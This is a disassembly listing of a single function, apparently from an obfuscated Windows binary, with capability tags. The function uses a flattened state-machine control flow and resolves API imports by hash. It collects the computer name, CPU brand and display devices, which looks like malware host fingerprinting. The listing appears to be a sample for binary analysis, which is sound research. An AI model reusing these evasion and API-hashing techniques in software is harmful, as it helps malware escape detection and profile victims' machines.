Function at 0x428e94
Capabilities:
Get hostname
Load assembly via iassembly
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x158
mov esi, esp
mov dword [esi], 0x204b3ed8
mov eax, dword [esi]
cmp eax, 0x31ea813
jg 0x428f29
cmp eax, 0xc92049e6
jg 0x428f8c
cmp eax, 0xa2cc8592
jg 0x429081
cmp eax, 0x8e8d4c6e
jle 0x429229
cmp eax, 0x945a196f
jle 0x429514
cmp eax, 0x9a29c657
jg 0x429a5f
cmp eax, 0x9597c4df
jg 0x42a344
cmp eax, 0x945a1970
je 0x42ac4e
cmp eax, 0x945d5f9c
jne 0x428eab
mov eax, dword [esi + 8]
shl eax, 0xe
add eax, 0xffe2bf88
shr eax, 6
and eax, 0x3fffe00
imul eax, eax, 0x5f
mov dword [esi + 8], eax
mov dword [esi], 0xae3215e3
jmp 0x428eab
cmp eax, 0x435e3da0
jle 0x428ffb
cmp eax, 0x5fc7ebfd
jg 0x4290ce
cmp eax, 0x54af35e9
jle 0x429285
cmp eax, 0x57bcd7ac
jle 0x42954e
cmp eax, 0x5b267296
jg 0x429a8b
cmp eax, 0x59b82ec2
jg 0x42a365
cmp eax, 0x57bcd7ad
je 0x42ac71
cmp eax, 0x58250b3c
jne 0x428eab
mov dword [esi], 0x85d8db04
jmp 0x428eab
cmp eax, 0xe4f18e8e
jle 0x429146
cmp eax, 0xf22e1b03
jle 0x4292e3
cmp eax, 0xfc8aaaed
jle 0x429599
cmp eax, 0xffbd160f
jg 0x429aee
cmp eax, 0xfe665aae
jg 0x42a3b5
cmp eax, 0xfc8aaaee
je 0x42aca8
cmp eax, 0xfcb665fc
jne 0x428eab
mov ecx, dword [esi + 4]
shl ecx, 7
add ecx, 0x8d
mov dword [esi + 4], ecx
mov eax, 0x71c5912e
cmp ecx, 0x6e
jge 0x42ad32
jmp 0x42c198
cmp eax, 0x1cafef4c
jle 0x4291b7
cmp eax, 0x3122b293
jle 0x429369
cmp eax, 0x38ff502c
jle 0x4295ff
cmp eax, 0x3dfe9f85
jg 0x429b41
cmp eax, 0x3bf921af
jg 0x42a3f0
cmp eax, 0x38ff502d
je 0x42acc7
cmp eax, 0x39b38a12
jne 0x428eab
imul eax, dword [esi + 8], 0x3b
add eax, 0xffffb3b7
imul ecx, eax, 0x52
imul eax, eax
imul edx, eax, 0x728f
shr ecx, 0x18
dec edx
add ecx, 0xf4
mov dword [esi + 8], ecx
mov ecx, 0xb43a4194
cmp eax, edx
je 0x42bfee
mov ecx, 0xe7685976
jmp 0x42bfee
cmp eax, 0xb43a4193
jle 0x4293c6
cmp eax, 0xbefccf4c
jle 0x429653
cmp eax, 0xc42a3b13
jg 0x429b87
cmp eax, 0xc110bd54
jg 0x42a414
cmp eax, 0xbefccf4d
je 0x42acf0
cmp eax, 0xbf210fa3
jne 0x428eab
mov dword [esi], 0x54af35ea
jmp 0x428eab
cmp eax, 0x709e7a24
jle 0x429423
cmp eax, 0x79499e70
jle 0x4296a1
cmp eax, 0x7e3a3568
jg 0x429bc1
cmp eax, 0x7b64b85c
jg 0x42a435
cmp eax, 0x79499e71
je 0x42ad3c
cmp eax, 0x7b5a2a4c
jne 0x428eab
mov edi, dword [esi + 4]
shr edi, 0x11
add edi, 0x1c0
mov dword [esi + 4], edi
push 0x5792
push edi
push 0x455c
call fcn.004202e8
add esp, 0xc
push edi
call fcn.00428e94
add esp, 4
mov dword [esi], 0x64d2d51
jmp 0x428eab
cmp eax, 0xd6f4e0e2
jg 0x429465
cmp eax, 0xd3cae9aa
jg 0x4296e8
cmp eax, 0xcdfae9e0
jle 0x429bf0
cmp eax, 0xce76a96d
jg 0x42a47a
cmp eax, 0xcdfae9e1
je 0x42ad56
cmp eax, 0xce6da06a
jne 0x428eab
imul edi, dword [esi + 4], 0x1e40000
mov eax, edi
shr eax, 2
mov dword [esi + 4], eax
push eax
call fcn.00428e94
add esp, 4
mov eax, 0x559a1bb7
test edi, edi
je 0x42c15e
mov eax, 0xa53e1553
jmp 0x42c15e
cmp eax, 0xe5657a8
jg 0x4294b3
cmp eax, 0x88b0ccf
jg 0x429747
cmp eax, 0x60ca633
jle 0x429c45
cmp eax, 0x784efa4
jg 0x42a4be
cmp eax, 0x60ca634
je 0x42ad8a
cmp eax, 0x64d2d51
jne 0x428eab
push dword [esi + 0xb8]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0xe0], eax
mov dword [esi], 0x374a509b
jmp 0x428eab
cmp eax, 0x8a7477c8
jg 0x4297a7
cmp eax, 0x84df7197
jle 0x429c7d
cmp eax, 0x85a05909
jg 0x42a4fe
cmp eax, 0x84df7198
je 0x42ad9b
cmp eax, 0x852c33ef
jne 0x428eab
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
push dword [esi + 0x14]
push dword [esi + 0x34]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x38]
mov dword [esi], 0x16135bf7
jmp 0x428eab
cmp eax, 0x47cf86e2
jg 0x429825
cmp eax, 0x4616c897
jle 0x429cac
cmp eax, 0x470e05ca
jg 0x42a52d
cmp eax, 0x4616c898
je 0x42adcf
cmp eax, 0x46fe4ecc
jne 0x428eab
mov ecx, dword [esi + 4]
shl ecx, 0x14
add ecx, 0xfd2fff5a
mov dword [esi + 4], ecx
mov eax, 0xfc8aaaee
cmp ecx, 0x4b
jge 0x42c198
mov eax, 0x615b110f
jmp 0x42c198
cmp eax, 0xeaba2f64
jg 0x429874
cmp eax, 0xe7685975
jle 0x429d00
cmp eax, 0xe88c2599
jg 0x42a566
cmp eax, 0xe7685976
je 0x42ae21
cmp eax, 0xe7ed2c98
jne 0x428eab
mov eax, dword [esi + 0x38]
mov dword [eax + 7], 0x203a6e
mov dword [eax + 4], 0x6e69616d
mov dword [eax], 0x6f44202d
push dword [esi + 0x38]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0x34]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0xe8], eax
mov dword [esi], 0xcdfae9e1
jmp 0x428eab
cmp eax, 0x23667d05
jg 0x4298be
cmp eax, 0x20f7d7dd
jle 0x429d2c
cmp eax, 0x2154265b
jg 0x42a5ac
cmp eax, 0x20f7d7de
je 0x42ae59
cmp eax, 0x21354020
jne 0x428eab
mov edi, dword [esi + 4]
add edi, 0xffffff8b
mov dword [esi + 4], edi
call fcn.00405998
mov eax, 0xbce63931
cmp edi, 0x11
jae 0x42c15e
mov eax, 0x36bcfa29
jmp 0x42c15e
cmp eax, 0xad1c7cd8
jg 0x429920
cmp eax, 0xa540ef88
jle 0x429d6c
cmp eax, 0xab26b6cd
jg 0x42a5d3
cmp eax, 0xa540ef89
je 0x42ae64
cmp eax, 0xaa987dfe
jne 0x428eab
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0x78], eax
mov dword [esi + 0x7c], ebx
mov dword [esi + 0x80], ecx
mov dword [esi + 0x84], edx
mov dword [esi], 0xd74a0f18
jmp 0x428eab
cmp eax, 0x62687524
jg 0x429976
cmp eax, 0x60a036dd
jle 0x429da6
cmp eax, 0x615b110e
jg 0x42a613
cmp eax, 0x60a036de
je 0x42ae7e
cmp eax, 0x614631bb
jne 0x428eab
mov dword [esi], 0x2154265c
jmp 0x428eab
cmp eax, 0xdb205216
jg 0x4299bb
cmp eax, 0xd853f4c6
jle 0x429dd5
cmp eax, 0xd91beb25
jg 0x42a670
cmp eax, 0xd853f4c7
je 0x42ae9f
cmp eax, 0xd8b4c1f7
jne 0x428eab
mov eax, dword [esi + 4]
shl eax, 9
add eax, 0xffffffea
mov dword [esi + 4], eax
mov dword [esi], 0x60a036de
jmp 0x428eab
cmp eax, 0x19f034aa
jg 0x4299f2
cmp eax, 0x162474d8
jle 0x429e10
cmp eax, 0x17dbd9f6
jg 0x42a6c8
cmp eax, 0x162474d9
je 0x42aefe
cmp eax, 0x1630e0a1
jne 0x428eab
mov eax, dword [esi + 0x1c]
add eax, 4
push 0x1a4
push 0
push eax
call fcn.00433ea0
add esp, 0xc
mov eax, dword [esi + 0x1c]
mov dword [eax], 0x1a8
mov dword [esi], 0xecf60134
jmp 0x428eab
cmp eax, 0x902336e9
jle 0x429e61
cmp eax, 0x934be26e
jg 0x42a6f4
cmp eax, 0x902336ea
je 0x42af49
cmp eax, 0x92d2bce3
jne 0x428eab
mov eax, dword [esi + 0x54]
mov dword [esi], 0x38ff502d
jmp 0x428eab
cmp eax, 0x559a1bb6
jle 0x429eb5
cmp eax, 0x566818b4
jg 0x42a71e
cmp eax, 0x559a1bb7
je 0x42af9c
cmp eax, 0x56112f5c
jne 0x428eab
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0xc42a3b14
jmp 0x428eab
cmp eax, 0xf46168c6
jle 0x429f1d
cmp eax, 0xf88137dc
jg 0x42a74d
cmp eax, 0xf46168c7
je 0x42affa
cmp eax, 0xf6695f29
jne 0x428eab
mov eax, dword [esi + 4]
lea eax, [eax + eax*4]
lea edi, [eax + eax*2]
mov eax, edi
shr eax, 0xd
mov dword [esi + 4], eax
push 0x3ff6
push 0x4b39
push eax
call fcn.004202e8
add esp, 0xc
mov eax, 0x5577d6d4
cmp edi, 0x19a000
jb 0x42b127
jmp 0x42c198
cmp eax, 0x359a4a83
jle 0x429f6f
cmp eax, 0x374a509a
jg 0x42a76e
cmp eax, 0x359a4a84
je 0x42b008
cmp eax, 0x36bcfa29
jne 0x428eab
imul ecx, dword [esi + 4], 0xc3
shr ecx, 6
mov dword [esi + 4], ecx
mov eax, 0x6fa4c2e4
cmp ecx, 0xa3
je 0x42c15e
mov eax, 0xe7ed2c98
jmp 0x42c15e
cmp eax, 0xbba258ea
jle 0x429fbb
cmp eax, 0xbce63930
jg 0x42a7ab
cmp eax, 0xbba258eb
je 0x42b02c
cmp eax, 0xbc9fc322
jne 0x428eab
imul eax, dword [esi + 8], 0x467a
add eax, 0xffffff5d
shr eax, 5
add eax, 0xffffff10
mov dword [esi + 8], eax
mov dword [esi], 0x4f35bce
jmp 0x428eab
cmp eax, 0x7146eb78
jle 0x42a017
cmp eax, 0x768be4b0
jg 0x42a7d9
cmp eax, 0x7146eb79
je 0x42b05c
cmp eax, 0x71c5912e
jne 0x428eab
mov eax, dword [esi + 0xd0]
push 1
call eax
mov dword [esi + 0xd4], eax
mov dword [esi], 0x435e3da1
jmp 0x428eab
cmp eax, 0xd4fa944a
jle 0x42a07f
cmp eax, 0xd56a457c
jg 0x42a818
cmp eax, 0xd4fa944b
je 0x42b099
cmp eax, 0xd566001a
jne 0x428eab
imul edi, dword [esi + 4], 0x2200000
add edi, 0xff32b208
mov dword [esi + 4], edi
call fcn.00405998
push edi
push 0x2ad4
push 0x31c9
call fcn.004202e8
add esp, 0xc
mov dword [esi], 0x66024f5d
jmp 0x428eab
cmp eax, 0x9a93de7
jle 0x42a0ab
cmp eax, 0xd1f1c6a
jg 0x42a892
cmp eax, 0x9a93de8
je 0x42b101
cmp eax, 0xba7e249
jne 0x428eab
mov eax, dword [esi + 4]
shr eax, 0xa
imul edi, eax, 0x11b800
add edi, 0xffffd480
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
mov eax, 0xe88c259a
cmp edi, 0xb5
jl 0x42b7c3
jmp 0x42c15e
cmp eax, 0x8c94ea13
jle 0x42a0e2
cmp eax, 0x8d08e7b3
jg 0x42a8c6
cmp eax, 0x8c94ea14
je 0x42b131
cmp eax, 0x8cba5cd4
jne 0x428eab
push dword [esi + 0xa8]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], pe_nt_image_headers32
push dword [esi + 0xac]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
mov dword [esi + 0x11c], eax
mov dword [esi], 0x5b267297
jmp 0x428eab
cmp eax, 0x4bfb7b75
jle 0x42a136
cmp eax, 0x4fa42ed1
jg 0x42a8e7
cmp eax, 0x4bfb7b76
je 0x42b16a
cmp eax, 0x4dc46a39
jne 0x428eab
push 0x454350
push 0x5f086d32
call fcn.0042e364
add esp, 8
mov dword [esi + 0x14c], eax
mov dword [esi], 0xeaba2f65
jmp 0x428eab
cmp eax, 0xee0e3270
jle 0x42a175
cmp eax, 0xefae2414
jg 0x42a919
cmp eax, 0xee0e3271
je 0x42b1a1
cmp eax, 0xeee80e02
jne 0x428eab
mov eax, dword [esi + 0xf8]
mov eax, dword [eax*4 + 0x45f0a4]
mov dword [esi + 0x10c], eax
mov dword [esi], 0xb9a019c3
jmp 0x428eab
cmp eax, 0x25e2cc68
jle 0x42a1cc
cmp eax, 0x2f4415a8
jg 0x42a950
cmp eax, 0x25e2cc69
je 0x42b1e7
cmp eax, 0x2a7e94c1
jne 0x428eab
mov edi, dword [esi + 4]
shr edi, 0x1a
add edi, 0xfffffed7
mov dword [esi + 4], edi
push 0x4676
push 0xefc
push edi
call fcn.004202e8
add esp, 0xc
push edi
call fcn.00428e94
add esp, 4
mov dword [esi], 0x503d8499
jmp 0x428eab
cmp eax, 0xb0576ce5
jle 0x42a20a
cmp eax, 0xb215b34f
jg 0x42a980
cmp eax, 0xb0576ce6
je 0x42b245
cmp eax, 0xb09b03be
jne 0x428eab
imul eax, dword [esi + 8], 0xb4
shr eax, 0xe
mov ecx, eax
shl ecx, 4
sub ecx, eax
sub ecx, eax
shr ecx, 5
imul eax, ecx, 0x69f
mov dword [esi + 8], eax
mov dword [esi], 0xe74270f2
jmp 0x428eab
cmp eax, 0x67b43367
jle 0x42a236
cmp eax, 0x6dd7c547
jg 0x42a9d3
cmp eax, 0x67b43368
je 0x42b28b
cmp eax, 0x6d604315
jne 0x428eab
mov eax, dword [esi + 8]
shl eax, 0x10
add eax, 0x36000
mov dword [esi + 8], eax
mov dword [esi], 0xa53e1553
jmp 0x428eab
cmp eax, 0xe0f28194
jle 0x42a287
cmp eax, 0xe3a20263
jg 0x42aa02
cmp eax, 0xe0f28195
je 0x42b2ad
cmp eax, 0xe183f7d2
jne 0x428eab
mov dword [esi], 0xe7ed2c98
jmp 0x428eab
cmp eax, 0x1a4911e1
jle 0x42a2dc
cmp eax, 0x1b2e091e
jg 0x42aa43
cmp eax, 0x1a4911e2
je 0x42b2c1
cmp eax, 0x1ab0e90e
jne 0x428eab
push 1
push 0x4000
call fcn.0043ddca
add esp, 8
mov dword [esi + 0xc], eax
push str.cd9baf0081eec26dacd89d2cedd9da69a1ff8f32fda99c32f9ab990a
call fcn.00420352
add esp, 4
mov dword [esi + 0xb0], eax
push dword [esi + 0xb0]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
mov dword [esi], 0xbe8bd9a0
jmp 0x428eab
cmp eax, 0x9eadd92b
jg 0x42aa8b
cmp eax, 0x9a29c658
je 0x42b2db
cmp eax, 0x9c3b75b4
jne 0x428eab
mov dword [esi], 0xec6149b3
jmp 0x428eab
cmp eax, 0x5e5732f8
jg 0x42aac7
cmp eax, 0x5b267297
je 0x42b30e
cmp eax, 0x5e47bc62
jne 0x428eab
imul edi, dword [esi + 4], 0x68
add edi, 0xffffffa0
mov eax, edi
shr eax, 0xc
mov dword [esi + 4], eax
push 0xeba
push eax
push 0x6b4
call fcn.004202e8
add esp, 0xc
call fcn.00405998
mov eax, 0xfe665aaf
cmp edi, 0x11000
jb 0x42c15e
mov eax, 0x70e8de82
jmp 0x42c15e
cmp eax, 0x159486e
jg 0x42ab05
cmp eax, 0xffbd1610
je 0x42b328
cmp eax, 0x14cdfa5
jne 0x428eab
mov eax, dword [esi + 4]
shl eax, 8
add eax, 0x3ffb200
shr eax, 9
imul ecx, eax, 0x338000
mov dword [esi + 4], ecx
mov eax, 0x191d7f5e
cmp ecx, 0xc9
jl 0x42c198
mov eax, 0xc56a3999
jmp 0x42c198
cmp eax, 0x4172d053
jg 0x42ab48
cmp eax, 0x3dfe9f86
je 0x42b33d
cmp eax, 0x40b1f468
jne 0x428eab
mov ecx, dword [esi + 4]
shl ecx, 0x17
or ecx, 0xa2
mov dword [esi + 4], ecx
mov eax, 0xd91beb26
cmp ecx, 0xb4
jge 0x42b595
jmp 0x42c15e
cmp eax, 0xc56a3998
jg 0x42ab83
cmp eax, 0xc42a3b14
je 0x42b356
cmp eax, 0xc56673a5
jne 0x428eab
mov eax, dword [esi + 0xf4]
mov word [eax], 0xa
mov eax, dword [esi + 0x4c]
mov dword [esi], 0x470e05cb
jmp 0x428eab
cmp eax, 0x7ee0c73f
jg 0x42abca
cmp eax, 0x7e3a3569
je 0x42b361
cmp eax, 0x7e7d28fd
jne 0x428eab
mov eax, dword [esi + 0x40]
mov dword [esi], 0x47cf86e3
jmp 0x428eab
cmp eax, 0xcae7d6f8
jg 0x42ac1f
cmp eax, 0xc92049e7
je 0x42b39c
cmp eax, 0xca7d9612
jne 0x428eab
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x64], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x68], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x20], eax
mov dword [esi], 0x709e7a25
jmp 0x428eab
cmp eax, 0x31ea814
je 0x42b3d9
cmp eax, 0x40a4859
je 0x42b3e4
cmp eax, 0x4f35bce
jne 0x428eab
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x128]
mov dword [eax + 0xc], ecx
mov dword [esi], 0xd4fa944b
jmp 0x428eab
cmp eax, 0x8097b18f
je 0x42b40d
cmp eax, 0x80dbd66f
je 0x42b41b
cmp eax, 0x826d064e
jne 0x428eab
mov eax, dword [esi + 0x34]
mov dword [esi], 0x2184e6fc
jmp 0x428eab
cmp eax, 0x435e3da1
je 0x42b45e
cmp eax, 0x442de8f9
je 0x42b493
cmp eax, 0x44d0e1d4
jne 0x428eab
mov edi, dword [esi + 4]
shr edi, 8
and edi, 0xffffffc0
mov dword [esi + 4], edi
push 0x27c8
push edi
push 0x2ff9
call fcn.004202e8
add esp, 0xc
push edi
call fcn.00428e94
add esp, 4
mov dword [esi], 0x56112f5c
jmp 0x428eab
cmp eax, 0xe4f18e8f
je 0x42b4bb
cmp eax, 0xe726792a
je 0x42b4c6
cmp eax, 0xe74270f2
jne 0x428eab
mov dword [esi], 0x61f3ffe3
jmp 0x428eab
cmp eax, 0x1cafef4d
je 0x42b4f3
cmp eax, 0x1f84cf79
je 0x42b518
cmp eax, 0x204b3ed8
jne 0x428eab
push eax
mov eax, esp
mov dword [esi + 0x24], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x28], eax
push eax
mov eax, esp
mov dword [esi + 0x2c], eax
mov dword [esi], 0x17dbd9f7
jmp 0x428eab
cmp eax, 0xa2cc8593
je 0x42b554
cmp eax, 0xa4c0277c
je 0x42b562
cmp eax, 0xa53e1553
jne 0x428eab
mov eax, dword [esi + 0xf0]
mov word [eax], 0xa
mov eax, dword [esi + 0x44]
mov dword [esi], 0x945d5f9c
jmp 0x428eab
cmp eax, 0x5fc7ebfe
je 0x42b59f
cmp eax, 0x60309fe9
je 0x42b5c4
cmp eax, 0x603edea5
jne 0x428eab
mov eax, dword [esi + 0x2c]
mov dword [esi], 0xf2bf8b37
jmp 0x428eab
cmp eax, 0xd6f4e0e3
je 0x42b5ee
cmp eax, 0xd74a0f18
je 0x42b619
cmp eax, 0xd7df6f29
jne 0x428eab
imul eax, dword [esi + 8], 0x5800000
add eax, 0xe8000a6
mov dword [esi + 8], eax
mov dword [esi], 0xca7d9612
jmp 0x428eab
cmp eax, 0xe5657a9
je 0x42b63c
cmp eax, 0xeec6e15
je 0x42b6a7
cmp eax, 0x16135bf7
jne 0x428eab
mov eax, dword [esi + 8]
add eax, 5
imul ecx, eax, 0x65
imul eax, eax
imul edx, eax, 0x267d
dec edx
add ecx, 0x62
mov dword [esi + 8], ecx
mov ecx, 0x14cdfa5
cmp edx, eax
je 0x42bfee
mov ecx, 0xe183f7d2
jmp 0x42bfee
cmp eax, 0x8e8d4c6f
je 0x42b6b6
cmp eax, 0x8f784c7a
je 0x42b6c1
cmp eax, 0x8faf1f90
jne 0x428eab
imul edi, dword [esi + 4], 0xdc
and edi, 0xffffff00
or edi, 0xc9
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
push edi
call fcn.00428e94
add esp, 4
mov dword [esi], 0xa4c0277c
jmp 0x428eab
cmp eax, 0x54af35ea
je 0x42b6f2
cmp eax, 0x54d0213e
je 0x42b71f
cmp eax, 0x5577d6d4
jne 0x428eab
push eax
mov eax, esp
mov dword [esi + 0x70], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x74], eax
mov edi, str.user32.dll
push edi
mov ebx, 0x3d95e230
push ebx
call fcn.0042e364
add esp, 8
push 0
call eax
mov dword [esi + 0xcc], eax
push edi
push ebx
call fcn.0042e364
add esp, 8
mov dword [esi + 0xd0], eax
mov dword [esi], 0x71c5912e
jmp 0x428eab
cmp eax, 0xf22e1b04
je 0x42b72d
cmp eax, 0xf27d07c3
je 0x42b76b
cmp eax, 0xf2bf8b37
jne 0x428eab
mov eax, dword [esi + 0x2c]
mov dword [eax], 0x8000
push str.advapi32.dll
push 0x23fef64a
call fcn.0042e364
add esp, 8
push dword [esi + 0x2c]
push dword [esi + 0xbc]
call eax
mov dword [esi], 0xe8b92922
jmp 0x428eab
cmp eax, 0x3122b294
je 0x42b781
cmp eax, 0x31be53bd
je 0x42b7cd
cmp eax, 0x323fc3a4
jne 0x428eab
mov eax, dword [esi + 4]
shr eax, 0xe
imul edi, eax, 0x69
add edi, 0x1905
mov dword [esi + 4], edi
call fcn.00405998
push edi
call fcn.00428e94
add esp, 4
mov dword [esi], 0x768be4b1
jmp 0x428eab
cmp eax, 0xb43a4194
je 0x42b7fd
cmp eax, 0xb6c0e377
je 0x42b83b
cmp eax, 0xb9a019c3
jne 0x428eab
push dword [esi + 0x100]
push dword [esi + 0x104]
push dword [esi + 0x108]
push dword [esi + 0x10c]
push str._s___d._d._d_
push 0x7ff
push dword [esi + 0xc0]
call fcn.004202e8
add esp, 0x1c
mov dword [esi], 0x92d2bce3
jmp 0x428eab
cmp eax, 0x709e7a25
je 0x42b855
cmp eax, 0x70e8de82
je 0x42b874
cmp eax, 0x71078864
jne 0x428eab
imul edi, dword [esi + 4], 0xbf
add edi, 0xcd
mov dword [esi + 4], edi
push 0x31ab
push edi
push 0x403c
call fcn.004202e8
add esp, 0xc
push edi
call fcn.00428e94
add esp, 4
mov eax, 0xfe665aaf
cmp edi, 0xce
jl 0x42c15e
mov eax, 0xb9a019c3
jmp 0x42c15e
cmp eax, 0xd3cae9ab
je 0x42b8c4
cmp eax, 0xd40623ca
je 0x42b8f7
cmp eax, 0xd419cf2d
jne 0x428eab
mov dword [esi], 0xd853f4c7
jmp 0x428eab
cmp eax, 0x88b0cd0
je 0x42b939
cmp eax, 0x94da628
je 0x42b974
cmp eax, 0x98a2430
jne 0x428eab
mov eax, dword [esi + 0x118]
mov word [eax], 0xa
mov dword [esi], 0x4bfb7b76
jmp 0x428eab
cmp eax, 0x8a7477c9
je 0x42b9b9
cmp eax, 0x8bb47ea6
je 0x42b9c4
cmp eax, 0x8c107341
jne 0x428eab
mov eax, dword [esi + 8]
add eax, 0xffffff98
shr eax, 9
imul ecx, eax, 0x7fe40000
imul eax, eax
imul edx, eax, 0x6013
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x21354020
cmp eax, edx
je 0x42bfee
mov ecx, 0x5e5732f9
jmp 0x42bfee
cmp eax, 0x47cf86e3
je 0x42ba0e
cmp eax, 0x4861e6c3
je 0x42ba22
cmp eax, 0x4a5f78ac
jne 0x428eab
mov eax, dword [esi + 4]
shl eax, 9
add eax, 0xffffff34
mov dword [esi + 4], eax
call fcn.00405998
mov dword [esi], 0x1ab0e90e
jmp 0x428eab
cmp eax, 0xeaba2f65
je 0x42ba41
cmp eax, 0xec6149b3
je 0x42ba4c
cmp eax, 0xecf60134
jne 0x428eab
mov eax, dword [esi + 8]
mov ecx, 0xffffff02
add eax, ecx
shr eax, 0x10
mov ecx, eax
imul ecx, eax
shl eax, 6
imul edx, ecx, 0x3617
dec edx
mov dword [esi + 8], eax
mov eax, 0x54af35ea
cmp edx, ecx
je 0x42c198
mov eax, 0x58250b3c
jmp 0x42c198
cmp eax, 0x23667d06
je 0x42ba72
cmp eax, 0x23a84c3f
je 0x42ba7d
cmp eax, 0x24e3a010
jne 0x428eab
imul eax, dword [esi + 8], 0x5688
add eax, 0xffc2a83e
shr eax, 8
mov dword [esi + 8], eax
mov dword [esi], 0x30c346c6
jmp 0x428eab
cmp eax, 0xad1c7cd9
je 0x42babe
cmp eax, 0xad6d80c0
je 0x42bad6
cmp eax, 0xae3215e3
jne 0x428eab
mov dword [esi], 0x937a5d68
jmp 0x428eab
cmp eax, 0x62687525
je 0x42bafa
cmp eax, 0x63769277
je 0x42bb10
cmp eax, 0x66024f5d
jne 0x428eab
push dword [esi + 0xbc]
push dword [esi + 0xc]
call fcn.0043ece0
add esp, 8
push dword [esi + 0xc]
call fcn.0043eec0
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0xe4], eax
mov dword [esi], 0x4861e6c3
jmp 0x428eab
cmp eax, 0xdb205217
je 0x42bb29
cmp eax, 0xdee81455
je 0x42bb3e
cmp eax, 0xdf88943f
jne 0x428eab
imul eax, dword [esi + 8], 0x7d
lea ecx, [eax + 0xab]
imul eax, eax
shr ecx, 4
imul edx, eax, 0x551f
dec edx
imul ecx, ecx, 0x3c
mov dword [esi + 8], ecx
mov ecx, 0xe7685976
cmp eax, edx
je 0x42bfee
mov ecx, 0x31be53bd
jmp 0x42bfee
cmp eax, 0x19f034ab
je 0x42bb61
cmp eax, 0x1a071f1a
je 0x42bb78
cmp eax, 0x1a1e7688
jne 0x428eab
imul edi, dword [esi + 4], 0x1840000
add edi, 0xf41e8000
mov dword [esi + 4], edi
push edi
call fcn.00428e94
add esp, 4
push 0x4bcb
push 0x4086
push edi
call fcn.004202e8
add esp, 0xc
mov eax, 0x71c5912e
cmp edi, 0x8f
jge 0x42c15e
mov eax, 0x7e3a3569
jmp 0x42c15e
cmp eax, 0x9597c4e0
je 0x42bbbc
cmp eax, 0x99952f51
jne 0x428eab
mov dword [esi], 0x603edea5
jmp 0x428eab
cmp eax, 0x59b82ec3
je 0x42bc0e
cmp eax, 0x5b1bebb4
jne 0x428eab
mov edi, 0xa
push edi
push dword [esi + 0xa8]
push dword [esi + 0xcc]
call fcn.0043c990
add esp, 0xc
push edi
push dword [esi + 0xac]
push dword [esi + 0xd4]
call fcn.0043c990
add esp, 0xc
mov dword [esi], 0x1ab0e90e
jmp 0x428eab
cmp eax, 0xfe665aaf
je 0x42bc28
cmp eax, 0xfec7f369
jne 0x428eab
mov eax, dword [esi + 4]
shl eax, 3
and eax, 0xffffff80
imul eax, eax, 0xb1
or eax, 7
mov dword [esi + 4], eax
call fcn.00405998
mov dword [esi], 0x17dbd9f7
jmp 0x428eab
cmp eax, 0x3bf921b0
je 0x42bc3f
cmp eax, 0x3def1733
jne 0x428eab
mov eax, dword [esi + 0x58]
mov dword [esi], 0xbf210fa3
jmp 0x428eab
cmp eax, 0xc110bd55
je 0x42bc4a
cmp eax, 0xc2d8eff3
jne 0x428eab
mov dword [esi], 0xfe665aaf
jmp 0x428eab
cmp eax, 0x7b64b85d
je 0x42bc55
cmp eax, 0x7bf0abd6
jne 0x428eab
mov eax, dword [esi + 4]
add eax, 0xffffffb5
shr eax, 4
mov ecx, eax
shl ecx, 6
lea ecx, [ecx + eax*2]
add ecx, 0x54
mov dword [esi + 4], ecx
mov eax, 0x5b1bebb4
cmp ecx, 0x75
jge 0x42c15e
mov eax, 0xcc7f3401
jmp 0x42c15e
cmp eax, 0xce76a96e
je 0x42bc6f
cmp eax, 0xd03ee743
jne 0x428eab
mov eax, dword [esi + 4]
mov ecx, 0xffffff43
add eax, ecx
shr eax, 2
lea ecx, [eax + eax]
add ecx, 0x76
mov dword [esi + 4], ecx
mov eax, 0x6fa4c2e4
cmp ecx, 0x7f
jge 0x42c15e
mov eax, 0x30c346c6
jmp 0x42c15e
cmp eax, 0x784efa5
je 0x42bcc7
cmp eax, 0x843eb3b
jne 0x428eab
imul ecx, dword [esi + 4], 0x91
mov eax, ecx
shr eax, 0x15
mov dword [esi + 4], eax
mov eax, 0xca7d9612
cmp ecx, 0x6200000
jae 0x42c198
mov eax, 0x2a7e94c1
jmp 0x42c198
cmp eax, 0x85a0590a
je 0x42bced
cmp eax, 0x85d8db04
jne 0x428eab
xor eax, eax
push eax
push dword [esi + 0x1c]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov dword [esi], 0x54d0213e
jmp 0x428eab
cmp eax, 0x470e05cb
je 0x42bcfb
cmp eax, 0x479a4de1
jne 0x428eab
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x12c]
mov dword [eax + 0x10], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x130]
mov dword [eax + 0x14], ecx
mov dword [esi], 0x19f034ab
jmp 0x428eab
cmp eax, 0xe88c259a
je 0x42bd15
cmp eax, 0xe8b92922
